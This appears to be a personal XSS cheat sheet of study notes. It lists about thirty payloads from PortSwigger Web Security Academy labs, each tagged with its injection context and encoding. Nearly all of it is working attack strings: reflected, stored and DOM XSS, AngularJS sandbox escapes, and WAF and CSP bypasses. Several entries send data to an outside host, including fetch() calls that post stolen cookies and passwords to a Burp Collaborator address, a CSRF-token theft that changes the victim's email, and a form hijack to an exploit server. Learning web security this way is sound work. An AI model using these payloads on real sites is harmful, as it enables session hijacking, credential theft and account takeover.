[Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) ##### Reflected XSS – HTML context (no encoding) ```html <script>alert(1);</script> ```` Context: Injected into raw HTML body Encoding: None Source: [[1. Reflected XSS into HTML context with nothing encoded]] --- ##### Stored XSS – Comment functionality ```html <script>alert(1);</script> ``` Context: Stored in blog comment, rendered in HTML body Encoding: URL-encoded in POST body Source: [[2. Stored XSS into HTML context with nothing encoded]] --- ##### DOM XSS – document.write() context breakout ```js '">');}<script>alert(1);</script> ``` Context: Injected via query param β†’ `document.write()` Encoding: Escapes HTML + JS context Source: [[3. DOM XSS in document.write sink using source location.search]] --- ##### DOM XSS – innerHTML sink ```html <img src=1 onerror=alert(1)> ``` Context: `location.search` injected into `innerHTML` Encoding: None Source: [[4. DOM XSS in innerHTML sink using source location.search]] --- ##### DOM XSS – javascript: URI via jQuery .attr() ```text javascript:alert(document.cookie) ``` Context: `returnPath` parameter injected into `href` via jQuery Encoding: URI scheme (javascript:) Source: [[5. DOM XSS in jQuery anchor href attribute sink using location.search source]] --- ##### DOM XSS – jQuery Selector via location.hash ```html <iframe src="https://<target>/#<img src += '<img src=1 onerror=print()>'" hidden="hidden"> </iframe> ```` Context: DOM XSS via jQuery `$()` selector using `:contains(...)` and `location.hash` Encoding: HTML with malformed tag injection via URI fragment Source: [[6. DOM XSS in jQuery selector sink using a hashchange event]] ---- ##### Reflected XSS – Attribute context with angle brackets encoded ```html " onfocus="alert(1) ```` Context: Reflected into HTML attribute `value="..."` Encoding: `<`, `>` are HTML-encoded; quotes are not Source: [[7. Reflected XSS into attribute with angle brackets HTML-encoded]] --- ##### Stored XSS – href attribute with double quotes HTML-encoded ```text javascript:alert(1) ```` Context: Stored in comment field, rendered inside `href="..."` Encoding: Double quotes (`"`) are HTML-encoded as `&quot;`; URI is not filtered Source: [[8. Stored XSS into anchor href attribute with double quotes HTML-encoded]] ---- ##### Reflected XSS – JavaScript string with angle brackets HTML-encoded ```js '-alert(1)-' ```` Context: Reflected inside JavaScript single-quoted string in inline `<script>` Encoding: `<` and `>` are HTML-encoded (`&lt;`, `&gt;`), but quotes are not Source: [[9. Reflected XSS into a JavaScript string with angle brackets HTML encoded]] --- ##### DOM XSS – document.write() inside ```js "></select><img src=1 onerror=alert(1)> ``` Context: Injected via `storeId` param into `document.write()` inside a `<select>` block Encoding: None Source: [[10. DOM XSS in document.write sink using source location.search inside a select element]] --- ##### DOM XSS – AngularJS expression with HTML-encoded angle brackets ```html {{$on.constructor('alert(1)')()}} ```` Context: Reflected inside `{{ ... }}` binding, evaluated by AngularJS Encoding: Angle brackets (`<`, `>`) and double quotes (`"`) are HTML-encoded; curly braces are not Source: [[11. DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded]] --- ##### DOM XSS – Reflected via eval() and poisoned JSON ```js \"-alert(1)}// ```` Context: Reflected into a JSON API response, then parsed by `eval()` Encoding: JS-escaped (`\"`), then interpreted as code via `eval()` Source: [[12. Reflected DOM XSS]] ---- ##### Stored DOM XSS – Broken escapeHTML() with .innerHTML sink ```html <><img src=1 onerror=alert(1)> ```` Context: Stored comment body injected into `.innerHTML` via broken `escapeHTML()` Encoding: Only first `<` is encoded; rest remains raw HTML Source: [[13. Stored DOM XSS]] --- ##### Reflected XSS – HTML context with most tags and attributes blocked ```html <iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload="this.style.width='100px'"> </iframe> ```` Context: Reflected into HTML context with WAF restrictions on tags/attributes Encoding: Payload is URL-encoded in `search` parameter; iframe is placed in attacker-controlled page Source: [[14. Reflected XSS into HTML context with most tags and attributes blocked]] --- ##### Reflected XSS – HTML context with all standard tags blocked (custom tag + fragment-based focus trigger) ```html <script> location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert(document.cookie)+tabindex%3D1%3E#x'; </script> ```` Context: Reflected into HTML body, all standard tags (e.g. `<script>`, `<img>`) filtered; only custom tags and global attributes allowed Encoding: URL-encoded injection via `search` param; fragment `#x` triggers browser focus Source: [[15. Reflected XSS into HTML context with all tags blocked except custom ones]] ---- ##### Reflected XSS – with some SVG markup allowed ```html <svg><animatetransform onbegin=alert(1)> ```` Context: Reflected into HTML context with strict filtering on standard tags and attributes; only specific SVG elements/events allowed Encoding: Angle brackets allowed or injected via URL encoding Source: [[16. Reflected XSS with some SVG markup allowed]] --- ##### Reflected XSS – attribute injection in <link rel="canonical"> (Chrome-specific) ```text ?'accesskey='x'onclick='alert(1) ```` Context: Reflected into `href` attribute of `<link rel="canonical">` tag Encoding: Angle brackets (`<`, `>`) are HTML-encoded; quotes are not Source: [[17. Reflected XSS in canonical link tag]] --- ##### Reflected XSS – JavaScript string with escaped single quotes and backslashes ```html </script><script>alert(1)</script> ```` Context: Reflected into JS string enclosed in single quotes: `'...user input...'` Encoding: `'` β†’ `\'`, `\` β†’ `\\` (escaped by server); HTML not encoded Source: [[18. Reflected XSS into a JavaScript string with single quote and backslash escaped]] --- ##### Reflected XSS – JS string with angle brackets and double quotes HTML-encoded, single quote escaped ```js \'-alert(1)// ```` Context: Reflected into JS string enclosed in single quotes (`'...'`), inside a `<script>` block Encoding: - `'` β†’ escaped as `\'` - `<`, `>` β†’ HTML-encoded (`&lt;`, `&gt;`) - `"` β†’ HTML-encoded (`&quot;`) - `\` β†’ **not escaped** (used as escape vector) Source: [[19. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped]] ---- ##### Stored XSS – onclick attribute with HTML-encoded `<`, `"`, and escaped `'`, `\` ```text http://foo?&apos;-alert(1)-&apos; ```` Context: Stored in `href` attribute, then reflected inside `onclick="...tracker.track('...')..."` Encoding: - `<`, `>` β†’ `&lt;`, `&gt;` - `"` β†’ `&quot;` - `'` β†’ escaped as `\'` - `\` β†’ escaped as `\\` - But `&apos;` (HTML entity) β†’ **decoded to `'` at runtime** Source: [[20. Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped]] ---- ##### Reflected DOM XSS – JavaScript template literal with expression injection ```js ${alert(1)} ```` Context: User input is reflected into a JavaScript **template literal** Encoding / Escaping: - `<`, `>` β†’ HTML-encoded (`&lt;`, `&gt;`) - `'`, `"` β†’ HTML-encoded - `` ` `` β†’ escaped as Unicode `\u0060` - `\` β†’ escaped - `${...}` β†’ ❌ **not escaped** Source: [[21. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped]] --- ##### Stored XSS – Stealing cookies via fetch() and Burp Collaborator ```html <script> fetch('https://yoursubdomain.burpcollaborator.net', { method: 'POST', mode: 'no-cors', body: document.cookie }); </script> ```` Context: Stored XSS inside blog comment field; executed automatically when other users load the page Encoding: None β€” raw HTML/JS allowed Source: [[22. Exploiting cross-site scripting to steal cookies]] --- ##### Stored XSS – Capturing usernames and passwords via `<input>`+ onchange + fetch() ```html <input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://your-subdomain.burpcollaborator.net',{ method:'POST', mode:'no-cors', body: username.value + ':' + this.value });"> ```` Context: Stored XSS in blog comments; attacker can inject arbitrary HTML and JS into rendered `<p>` element Encoding: None β€” raw injection of `<input>`, attributes, and inline JS allowed Source: [[23. Exploiting cross-site scripting to capture passwords]] ---- ##### Stored XSS – Bypassing CSRF using in-context token extraction ```html <script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get', '/my-account', true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf=' + token + '&[email protected]'); } </script> ```` Context: Stored XSS in blog comment field; attacker executes JS in victim’s browser to steal and reuse CSRF token Encoding: No encoding required; raw JavaScript injected into page Source: [[24. Exploiting XSS to bypass CSRF defenses]] ##### Reflected XSS – AngularJS Sandbox Escape (No Strings / No `$eval`) ```js /* INJECTED INTO PARAMETER NAME, NOT VALUE */ /* URL: /?search=1&<PAYLOAD>=1 */ toString().constructor.prototype.charAt=[].join; [1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 ``` Context: Reflected XSS in AngularJS template; Sandbox active; string literals and $eval blocked. Uses fromCharCode to build strings and overwrites charAt to break sandbox inspection. Encoding: Inner = characters must be URL-encoded (%3d). The final = remains raw to separate param name/value. Source: [[25. Reflected XSS with AngularJS sandbox escape without strings]] --- ##### Reflected XSS – AngularJS Sandbox Escape + CSP Bypass ```html <script> location='https://target.com/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x'; </script> ``` Context: Reflected XSS; CSP blocks inline scripts/events. Uses Angular ng-focus + location hash #x to trigger execution. Bypasses sandbox using $event.composedPath() (Chrome) to access window context indirectly. Encoding: Standard URL encoding for the injection. Source: [[26. Reflected XSS with AngularJS sandbox escape and CSP]] --- ##### Reflected XSS – WAF Bypass via Exception Handling ```js /* Injected into: javascript:fetch(...).finally(_ => window.location = '/') */ '},x=x=>{throw/**/onerror=alert,1337},toString=x,window+''{x:' ``` Context: Reflected inside a JS string; WAF blocks parentheses (), spaces, and standard function calls. Uses throw to pass arguments to onerror=alert and overrides toString to trigger execution via string coercion. Encoding: URL encoding required. Spaces replaced with /**/. Source: [[27. Reflected XSS with event handlers and href attributes blocked]] --- ##### Reflected XSS – Bypassing blocked events/href via SVG `<animate>` ```xml <svg> <a> <animate attributeName="href" values="javascript:alert(1)" /> <text x="20" y="20">Click me</text> </a> </svg> ``` Context: Whitelist allows `<svg>` but blocks all on* events and href attributes in markup. Uses `<animate>` to set the href attribute at runtime, which bypasses the sanitizer. Encoding: Standard URL encoding. Source: [[28. Reflected XSS in a JavaScript URL with some characters blocked]] --- #### Reflected XSS – CSP Bypass via Dangling Markup (Stealing CSRF) ``` <button formaction="https://exploit-server.net/capture" formmethod="get">Click me</button> if (token) { // Auto-submit change-email form with captured token } else { // Redirect victim back to vulnerable page with Injection 1 } ``` Context: Strict CSP blocks script execution but allows form-action (or lacks it). Injects a button that hijacks the form submission to send the CSRF token to the attacker's server. Encoding: HTML injection. Source: [[29. Reflected XSS protected by very strict CSP, with dangling markup attack]] --- ##### Reflected XSS – CSP Bypass via Header Injection ```http GET /?search=<script>alert(1)</script>&token=;script-src-elem+'unsafe-inline' HTTP/1.1 ``` Context: token parameter is reflected directly into the Content-Security-Policy header. Attacker injects a stronger directive (script-src-elem) to overwrite the existing policy and enable inline scripts. Encoding: URL encode spaces and quotes in the token parameter. Source: [[30. Reflected XSS protected by CSP, with CSP bypass]]